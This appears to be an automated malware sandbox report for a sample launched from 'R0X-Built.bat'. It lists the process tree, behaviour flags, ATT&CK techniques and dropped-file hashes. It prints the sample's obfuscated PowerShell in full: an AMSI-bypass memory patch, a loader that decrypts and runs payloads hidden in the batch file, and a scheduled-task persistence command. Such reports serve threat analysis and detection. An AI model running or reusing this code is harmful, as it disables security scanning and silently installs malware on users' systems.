Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+''+'e'+''+[Char](109)+'o'+[Char](114)+'yModu'+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+'Pu'+'b'+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+'e'+[Char](97)+'l'+[Char](101)+''+'d'+','+[Char](65)+'n'+[Char](115)+''+'i'+'C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+'C'+'l'+''+'a'+''+'s'+'s',[MulticastDelegate]);$DXFyQbhMMJj.DefineConstructor(''+'R'+''+[Char](84)+'Spe'+[Char](99)+''+'i'+''+'a'+''+'l'+''+[Char](78)+''+'a'+'me'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+','+'P'+'u'+''+'b'+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OiGvvbbydeyeqc).SetImplementationFlags('Ru'+'n'+''+'t'+'im'+'e'+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$DXFyQbhMMJj.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+'k'+[Char](101)+'','Pu'+'b'+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+'S'+[Char](105)+''+'g'+''+','+''+'N'+''+'e'+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$GcYRuOgCsU,$OiGvvbbydeyeqc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $DXFyQbhMMJj.CreateType();}$NlagoxVSKOWmG=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+'2'+'.'+'U'+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+'N'+'a'+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'et'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$DZECRFWNHfWtxO=$NlagoxVSKOWmG.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+'r'+''+[Char](111)+''+'c'+''+'A'+'d'+'d'+'r'+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+'S'+''+'t'+''+[Char](97)+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qGSZIbUhJlWXrVQUblw=gbPPqYhBKhQJ @([String])([IntPtr]);$GHIQyrKxFFMiLfRwYOgUHr=gbPPqYhBKhQJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fFvSyJPUNHa=$NlagoxVSKOWmG.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+'n'+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+'.d'+[Char](108)+''+[Char](108)+'')));$YnyNNInYkQXzMo=$DZECRFWNHfWtxO.Invoke($Null,@([Object]$fFvSyJPUNHa,[Object](''+[Char](76)+'oa'+'d'+'L'+'i'+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$IebbNLzFfWMhgDgis=$DZECRFWNHfWtxO.Invoke($Null,@([Object]$fFvSyJPUNHa,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+'r'+'o'+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$pUptXGU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YnyNNInYkQXzMo,$qGSZIbUhJlWXrVQUblw).Invoke(''+'a'+''+'m'+''+[Char](115)+'i'+[Char](46)+''+'d'+''+'l'+'l');$IlpWkRgEtpfpPYMwX=$DZECRFWNHfWtxO.Invoke($Null,@([Object]$pUptXGU,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+'u'+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$WpXzAFZIZE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IebbNLzFfWMhgDgis,$GHIQyrKxFFMiLfRwYOgUHr).Invoke($IlpWkRgEtpfpPYMwX,[uint32]8,4,[ref]$WpXzAFZIZE);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$IlpWkRgEtpfpPYMwX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IebbNLzFfWMhgDgis,$GHIQyrKxFFMiLfRwYOgUHr).Invoke($IlpWkRgEtpfpPYMwX,[uint32]8,0x20,[ref]$WpXzAFZIZE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+'a'+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\R0X-Built.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kV2tB9nO4F4vksE1XanCNN0CKaoOh+Fwv5J9FKyM/rQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GDJTUCxdRiEvidahg0KvVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qBwZy=New-Object System.IO.MemoryStream(,$param_var); $HWMGu=New-Object System.IO.MemoryStream; $jHVMR=New-Object System.IO.Compression.GZipStream($qBwZy, [IO.Compression.CompressionMode]::Decompress); $jHVMR.CopyTo($HWMGu); $jHVMR.Dispose(); $qBwZy.Dispose(); $HWMGu.Dispose(); $HWMGu.ToArray();}function execute_function($param_var,$param2_var){ $RLZnq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DuryM=$RLZnq.EntryPoint; $DuryM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\R0X-Built.bat';$fOqeP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\R0X-Built.bat').Split([Environment]::NewLine);foreach ($ishbx in $fOqeP) { if ($ishbx.StartsWith(':: ')) { $wXPsE=$ishbx.Substring(3); break; }}$payloads_var=[string[]]$wXPsE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 0ac351f679f16131bf483f9d9272d4be RgOtiRwnGUqUvS+PU69TlQ.0.1.0.0.01⤵
- Sets service image path in registry
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\USOPrivate\UpdateStore\store.dbFilesize
60KB
MD5c37a1a82bb6e375c1030db9eb7c71b2f
SHA1655f1dc84c2eeac5f8a6fce50d96067858d529f3
SHA2562b1230218e8d097ce194424c48acbd729d0a080c20aa3e29f1fa6ad08b706bee
SHA5125a1a30106f24a0f7ac055d5e0f18ddb7d77dfded9eca248f0e0c096a22525884cc0ba2591cfc935f0f2722fe96b1e5c46917c5fa191517cce2cdd2988f394d02
-
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506Filesize
330B
MD564c6905529646a14d5ce0b81abcf8d4c
SHA1905127540662d2e25e09562ecc3fa148f79ed369
SHA256e06a48a96f9d851bcc10260041ebb4d4a059aacefce8d71b4cdd96fbda0d7426
SHA512795e8d985dabd0e0a01dbb87b0f11c869a2a16bccc6fd7cb077da0dc98b273c4898e5b2dd55110ccda2accc7c9d4d8b99ef2e7c6a2834888cc528ec13a998d85
-
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749Filesize
330B
MD5ea1a04cf85d4cdc4d4da0ba3f087b85c
SHA10c4dfd0756c9f34ec2e4142d14f4a2e8e9d8e415
SHA2562d4cd45fd5d770647b8deae15dc5787b3c994f2761df3c5aabe3d2d7421f02f9
SHA512382f6ebc37528bf3054f8d24c04f4dd0c481223f44567b2df5e2832c48f8d130f0eb75f05443e34db2ac7f85c7bd464dadf609a1f6fec1edb8b1ee231353cb7a
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rxpnkx2t.dg5.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
-
C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance WorkFilesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance WorkFilesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule WorkFilesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule WorkFilesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
-
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506Filesize
330B
MD5cedd51ac8abf70a3af162ffbc14c4d6c
SHA195fca6970bd8a31383db18d1df40c22a9ff82e11
SHA2562e5ea1a87f5b9e79be39e764abbcae49e0871791a4e8fef52941ed9db4acb05e
SHA5124a1a164b66434328a34a7ca89ead6203533baf05cfa636711776980d89c94c3bd0fc61911866917d32caf8c759e8f10bdb4c41c5e4a68596264cb943656c5ac4
-
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749Filesize
330B
MD5792bffe1f265f050a58de6665d84d8f4
SHA18d87c260e5065a8c4ab40233da6a64b7bdb67c6a
SHA256d48326a9b743786d412d743737447c6be9d41489b899450d128d73ac33484054
SHA512a0a204e9790735d6b72368198de9ea362853ad287bd014c466a1fdfb3e9099f664ce9e8bf6c2de07aeb9351542b91fe3c91885b2dd7e312321c7592f7d5d68bc
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64AFilesize
412B
MD5935b9046d68dacf26428b32dd5d143e4
SHA18ee6bcefbabfd7bbaee62e0ce788f050c0d9a98a
SHA2563b4ea7806a7012d3e42bd361e7d19dd8749a3a4c7b657711bbb4e29c49ddf08f
SHA51253b2c00cdf858e12b34496a6f8fad4233058e528992461d2fb2ece9097c4910043faa9c8df2756fefbee0fff4cbb576bf5e050dda8fdbf61e140cb70bd04aa7f
-
memory/316-122-0x00007FF85CD90000-0x00007FF85CDA0000-memory.dmpFilesize
64KB
-
memory/316-115-0x000001A5F2480000-0x000001A5F24AB000-memory.dmpFilesize
172KB
-
memory/316-121-0x000001A5F2480000-0x000001A5F24AB000-memory.dmpFilesize
172KB
-
memory/428-126-0x000001604EE90000-0x000001604EEBB000-memory.dmpFilesize
172KB
-
memory/616-81-0x000001B00FCE0000-0x000001B00FD0B000-memory.dmpFilesize
172KB
-
memory/616-82-0x000001B00FCE0000-0x000001B00FD0B000-memory.dmpFilesize
172KB
-
memory/616-89-0x00007FF85CD90000-0x00007FF85CDA0000-memory.dmpFilesize
64KB
-
memory/616-88-0x000001B00FCE0000-0x000001B00FD0B000-memory.dmpFilesize
172KB
-
memory/616-80-0x000001B00F8B0000-0x000001B00F8D5000-memory.dmpFilesize
148KB
-
memory/672-93-0x00000156FCCD0000-0x00000156FCCFB000-memory.dmpFilesize
172KB
-
memory/672-100-0x00007FF85CD90000-0x00007FF85CDA0000-memory.dmpFilesize
64KB
-
memory/672-99-0x00000156FCCD0000-0x00000156FCCFB000-memory.dmpFilesize
172KB
-
memory/960-104-0x000001EE09700000-0x000001EE0972B000-memory.dmpFilesize
172KB
-
memory/960-111-0x00007FF85CD90000-0x00007FF85CDA0000-memory.dmpFilesize
64KB
-
memory/960-110-0x000001EE09700000-0x000001EE0972B000-memory.dmpFilesize
172KB
-
memory/1468-63-0x000001F47A370000-0x000001F47A392000-memory.dmpFilesize
136KB
-
memory/1468-64-0x000001F47A3E0000-0x000001F47A40A000-memory.dmpFilesize
168KB
-
memory/1468-65-0x00007FF89CD10000-0x00007FF89CF05000-memory.dmpFilesize
2.0MB
-
memory/1468-66-0x00007FF89BDE0000-0x00007FF89BE9E000-memory.dmpFilesize
760KB
-
memory/1572-70-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1572-69-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1572-67-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1572-72-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1572-76-0x00007FF89BDE0000-0x00007FF89BE9E000-memory.dmpFilesize
760KB
-
memory/1572-75-0x00007FF89CD10000-0x00007FF89CF05000-memory.dmpFilesize
2.0MB
-
memory/1572-77-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/1572-68-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/3784-898-0x0000000074A60000-0x0000000075210000-memory.dmpFilesize
